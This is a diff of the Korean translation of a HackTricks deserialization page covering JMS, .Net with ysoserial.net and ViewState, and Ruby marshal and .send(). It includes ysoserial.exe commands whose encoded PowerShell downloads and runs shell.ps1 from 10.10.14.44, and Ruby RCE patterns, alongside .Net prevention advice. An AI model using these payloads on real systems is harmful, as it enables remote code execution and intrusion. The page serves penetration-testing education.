* Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 토크: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* 역직렬화 CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) * 역직렬화 CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell ## JNDI 인젝션 및 log4Shell
**JNDI Injection**이 무엇인지, **RMI, CORBA & LDAP**를 통해 어떻게 악용되며 **log4shell**을 어떻게 이용하는지 (이 취약점의 예시)를 다음 페이지에서 찾을 수 있습니다: **JNDI 인젝션, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**에 대한 내용은 다음 페이지에서 확인하세요:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %} {% endcontent-ref %}
## JMS - Java Message Service ## JMS - Java 메시지 서비스
> **Java Message Service** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현체입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며 Sun Microsystems에서 개발된 명세에 따라 개발되었지만 이후 Java Community Process에 의해 안내되었습니다. Java EE를 기반으로 하는 응용 프로그램 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 분산 응용 프로그램의 서로 다른 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만들 수 있습니다. (출처: [위키피디아](https://en.wikipedia.org/wiki/Java\_Message\_Service)). > **Java 메시지 서비스** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE 기반의 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
### 제품 ### 제품
이 미들웨어를 사용하여 메시지를 보내는 여러 제품이 있습니다: 이 미들웨어를 사용하여 메시지를 전송하는 여러 제품이 있습니다:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>) ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
@ -581,54 +605,57 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### 악용 ### 악용
따라서 **JMS를 위험한 방식으로 사용하는 서비스들이 많이 있습니다**. 따라서 이러한 서비스로 메시지를 보낼 권한이 충분하다면 (일반적으로 유효한 자격 증명이 필요합니다) **직렬화된 악성 객체를 전송하여 소비자/구독자가 역직렬화할 수 있도록 할 수 있습니다**.\ 기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면 (일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
이는 이 악용에서 모든 **메시지를 사용할 클라이언트가 감염될 것**을 의미합니다. 이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**을 의미합니다.
서비스가 취약하더라도 (사용자 입력을 안전하게 역직렬화하지 않았기 때문에) 여전히 취약한 애플리케이션 내에 사용할 수 있는 유효한 가젯을 찾아야 합니다. 서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)**알려진 가젯을 사용하여 직렬화된 여러 악성 객체를 보내 이 서비스에 연결하고 공격하는 데 만들어졌습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있는 경우에 작동할 것입니다. 도구 [JMET](https://github.com/matthiaskaiser/jmet)**알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하는 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 익스플로잇은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우 작동합니다.
### 참고 자료 ### 참고 문헌
* JMET 토크: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) * JMET 강연: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* 슬라이드: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) * 슬라이드: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net ## .Net
.NET의 맥락에서, 역직렬화 악용은 Java에서 발견된 것과 유사하게 작동하며, 가젯이 객체의 역직렬화 중에 특정 코드를 실행하도록 악용됩니다. .Net의 맥락에서 역직렬화 익스플로잇은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
### 지문 ### 지문
#### WhiteBox #### 화이트박스
소스 코드를 검사하여 다음 사항을 확인해야 합니다: 소스 코드는 다음의 발생 여부를 검사해야 합니다:
1. `TypeNameHandling` 1. `TypeNameHandling`
2. `JavaScriptTypeResolver` 2. `JavaScriptTypeResolver`
집중해야 할 부분은 사용자가 제어하는 변수에 따라 유형을 결정할 수 있는 직렬화기입니다. 사용자 제어 하에 변수를 통해 유형을 결정할 수 있는 직렬화기에 초점을 맞춰야 합니다.
#### BlackBox #### 블랙박스
검색 대상은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴입니다. 이는 `TypeObject` 또는 `$type`을 특징으로 하는 **JSON** 또는 **XML** 구조를 포함할 수 있습니다. 검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`을 포함한 **JSON** 또는 **XML** 구조가 포함될 수 있습니다.
### ysoserial.net ### ysoserial.net
이 경우에는 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 도구를 사용하여 **역직렬화 exploit을 생성**할 수 있습니다. 깃 리포지토리를 다운로드한 후 Visual Studio와 같은 도구를 사용하여 **도구를 컴파일**해야 합니다. 이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 익스플로잇을 생성**할 수 있습니다. git 저장소를 다운로드한 후 **도구를 컴파일**해야 합니다 (예: Visual Studio 사용).
**ysoserial.net**의 주요 옵션은 **`--gadget`**, **`--formatter`**, **`--output`**, **`--plugin`**입니다. **ysoserial.net이 익스플로잇을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대한 설명이 있는 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
* **`--gadget`**은 악용할 가젯을 지정하는 데 사용됩니다 (역직렬화 중 명령을 실행할 클래스/함수를 지정). **ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
* **`--formatter`**는 exploit을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 백엔드가 사용하는 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 함).
* **`--output`**은 exploit을 **raw** 또는 **base64**로 인코딩할지를 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 인코딩할 것이므로 (Windows의 기본 인코딩), 리눅스 콘솔에서 인코딩만 하면 **인코딩 호환성 문제**가 발생할 수 있어서 제대로 작동하지 않을 수 있습니다 (HTB JSON 상자에서 페이로드는 UTF-16LE 및 ASCII에서 모두 작동했지만 항상 작동한다는 의미는 아님)._
* **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크에 대한 exploit을 만들기 위한 플러그인**을 지원합니다.
#### 추가 ysoserial.net 매개변수 * **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다 (역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
* **`--formatter`**는 익스플로잇을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 합니다).
* **`--output`**는 익스플로잇을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE** (Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이로 인해 익스플로잇이 제대로 작동하지 않을 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 이는 항상 작동한다는 의미는 아닙니다)._
* **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 익스플로잇을 제작하기 위한 플러그인을 지원합니다**.
* `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우) #### 더 많은 ysoserial.net 매개변수
* `--raf -f Json.Net -c "anything"` 이것은 제공된 포매터(`Json.Net` 이 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
* `--sf xml`은 "xml"을 포함하는 포매터를 찾아주는 가젯(`-g`)을 지정할 수 있습니다.
**ysoserial 예제**를 만들어보세요: * `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우).
* `--raf -f Json.Net -c "anything"` 이는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
* `--sf xml`**가젯**(`-g`)을 지정할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다 (대소문자 구분 없음).
**ysoserial 예시**로 익스플로잇을 생성합니다:
```bash ```bash
#Send ping #Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -646,7 +673,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode #Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
``` ```
**ysoserial.net**에는 각 exploit이 어떻게 작동하는지 더 잘 이해할 수 있도록 도와주는 **매우 흥미로운 매개 변수**인 `--test`가 있습니다. 이 매개 변수를 지정하면 **ysoserial.net**이 **로컬에서 exploit을 시도**하여 페이로드가 올바르게 작동하는지 테스트할 수 있습니다. 이 매개 변수는 코드를 검토하면 다음과 같은 코드 청크를 찾을 수 있기 때문에 유용합니다 ([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)에서): **ysoserial.net**에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 매개변수**가 있습니다: `--test`\
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서** **익스플로잇을 시도**하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.\
이 매개변수는 유용합니다. 왜냐하면 코드를 검토하면 다음과 같은 코드 조각을 찾을 수 있기 때문입니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java ```java
if (inputArgs.Test) if (inputArgs.Test)
{ {
@ -660,7 +689,7 @@ Debugging.ShowErrors(inputArgs, err);
} }
} }
``` ```
는 exploit을 테스트하기 위해 코드가 [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)를 호출할 것을 의미합니다. 것은 익스플로잇을 테스트하기 위해 코드가 [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)를 호출할 것을 의미합니다.
```java ```java
public static object JsonNet_deserialize(string str) public static object JsonNet_deserialize(string str)
{ {
@ -671,46 +700,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj; return obj;
} }
``` ```
**이전 코드는 생성된 악용에 취약**합니다. 따라서 .Net 애플리케이션에서 유사한 것을 찾으면 해당 애플리케이션이 취약할 가능성이 높습니다.\ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수를 사용하여 **ysoserial.net**이 생성할 직렬화 악용에 취약한 **어떤 코드 청크인지 이해**할 수 있습니다. 따라서 **`--test`** 매개변수**어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
### ViewState ### ViewState
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 POST**](exploiting-\_\_viewstate-parameter.md)을 살펴보고 **임의의 코드를 실행**해보세요. 피해자 머신에서 사용된 **비밀을 이미 알고 있다면**, [**이 게시물을 읽어 코드를 실행하는 방법을 알아보세요**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** [**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 POST를 확인하세요**](exploiting-\_\_viewstate-parameter.md) **임의 코드를 실행하기 위해.** 만약 **피해자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
### 예방 ### Prevention
.Net에서 직렬화와 관련된 위험을 줄이려면 다음을 수행하세요: .Net에서 역직렬화와 관련된 위험을 완화하기 위해:
* **데이터 스트림이 객체 유형을 정의하지 못하도록** 허용하지 않습니다. 가능한 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용합니다. * **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능할 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
* **`JSON.Net`의 경우 `TypeNameHandling``None`으로 설정:** %%%TypeNameHandling = TypeNameHandling.None%%% * **`JSON.Net`의 경우 `TypeNameHandling``None`으로 설정하십시오:** %%%TypeNameHandling = TypeNameHandling.None%%%
* **`JavaScriptSerializer`와 `JavaScriptTypeResolver`를 함께 사용하지 않습니다.** * **`JavaScriptTypeResolver`와 함께 `JavaScriptSerializer` 사용을 피하십시오.**
* **직렬화할 수 있는 유형을 제한**하여 .Net 유형과 관련된 잠재적 위험을 이해합니다. 예를 들어 `System.IO.FileInfo`와 같은 유형은 서버 파일 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다. * **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
* **위험한 속성을 가진 유형에 주의**를 기울입니다. `System.ComponentModel.DataAnnotations.ValidationException``Value` 속성과 같이 악용할 수 있는 속성이 있는 경우입니다. * **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다.
* **공격자가 직렬화 프로세스에 영향을 미치지 못하도록 유형 인스턴스화를 안전하게 제어**합니다. 심지어 `DataContractSerializer` 또는 `XmlSerializer`도 취약해질 수 있습니다. * **타입 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다.
* `BinaryFormatter``JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 **화이트리스트 제어를 구현**합니다. * **`BinaryFormatter``JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.**
* .Net 내에서 알려진 불안전한 직렬화 가젯에 대해 **알아두고 직렬화기가 해당 유형을 인스턴스화하지 않도록**합니다. * **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.
* **잠재적으로 위험한 코드를 격리**하여 알려진 가젯(예: WPF 애플리케이션의 `System.Windows.Data.ObjectDataProvider`)이 신뢰할 수 없는 데이터 소스에 노출되지 않도록 합니다. * **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** WPF 애플리케이션의 `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
### **참고 자료** ### **References**
* Java 및 .Net JSON 직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 발표: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Java와 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **루비** ## **Ruby**
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드로 수행됩니다. 첫 번째 메서드인 **dump**는 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 프로세스를 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 객체로 되돌리는 데 사용되며, 이 프로세스를 역직렬화라고 합니다. 루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 용이해집니다. 첫 번째 메서드는 **dump**로 알려져 있으며, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다.
직렬화된 객체를 안전하게 보호하기 위해 **루비는 HMAC(해시 기반 메시지 인증 코드)**를 사용하여 데이터의 무결성과 신뢰성을 보장합니다. 이를 위해 사용되는 키는 다음 중 하나의 위치에 저장됩니다: 직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
* `config/environment.rb` * `config/environment.rb`
* `config/initializers/secret_token.rb` * `config/initializers/secret_token.rb`
* `config/secrets.yml` * `config/secrets.yml`
* `/proc/self/environ` * `/proc/self/environ`
**루비 2.X 일반 직렬화에서 RCE 가젯 체인(자세한 정보는** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: **루비 2.X 일반 직렬화에서 RCE 가젯 체인 (자세한 정보는** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby ```ruby
#!/usr/bin/env ruby #!/usr/bin/env ruby
@ -781,20 +810,22 @@ require "base64"
puts "Payload (Base64 encoded):" puts "Payload (Base64 encoded):"
puts Base64.encode64(payload) puts Base64.encode64(payload)
``` ```
다른 RCE 체인으로 루비 온 레일즈 취약점을 악용할 수 있습니다: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) 다른 RCE 체인으로 Ruby On Rails를 이용한 공격: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() 메 ### Ruby .send() 메
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명한 대로, 어떤 사용자가 루비 객체의 `.send()` 메소드에 살균되지 않은 입력을 전달하면, 이 메소드를 통해 객체의 **다른 메소드를** 임의의 매개변수와 함께 **호출**할 수 있습니다. [**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다.
예를 들어, eval을 호출한 다음에 두 번째 매개변수로 루비 코드를 전달하면 임의의 코드를 실행할 수 있습니다: 예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 임의의 코드를 실행할 수 있습니다:
{% code overflow="wrap" %}
```ruby ```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE <Object>.send('eval', '<user input with Ruby code>') == RCE
``` ```
{% endcode %} {% endcode %}
또한, 이전 설명에서 언급된 대로 **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, **인수가 필요하지 않은 메서드** 또는 인수가 **기본값을 가지는 메서드**를 호출할 수 있습니다.\ 게다가, **`.send()`**의 매개변수 중 하나만 공격자가 제어할 수 있다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해 객체의 모든 메서드를 나열하여 **해당 요구 사항을 충족하는 흥미로운 메서드를 찾을 수 있습니다**. 이를 위해, 객체의 모든 메서드를 열거하여 **그 요구 사항을 충족하는 흥미로운 메서드를 찾는 것이 가능합니다**.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```ruby ```ruby
@ -820,16 +851,17 @@ candidate_methods.length() # Final number of methods=> 3595
``` ```
{% endcode %} {% endcode %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 기여하세요**.
</details> </details>
{% endhint %}

View file

@ -1,48 +1,51 @@
# 기본 .Net 역직렬화 (ObjectDataProvider 가젯, ExpandedWrapper 및 Json.Net) # Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
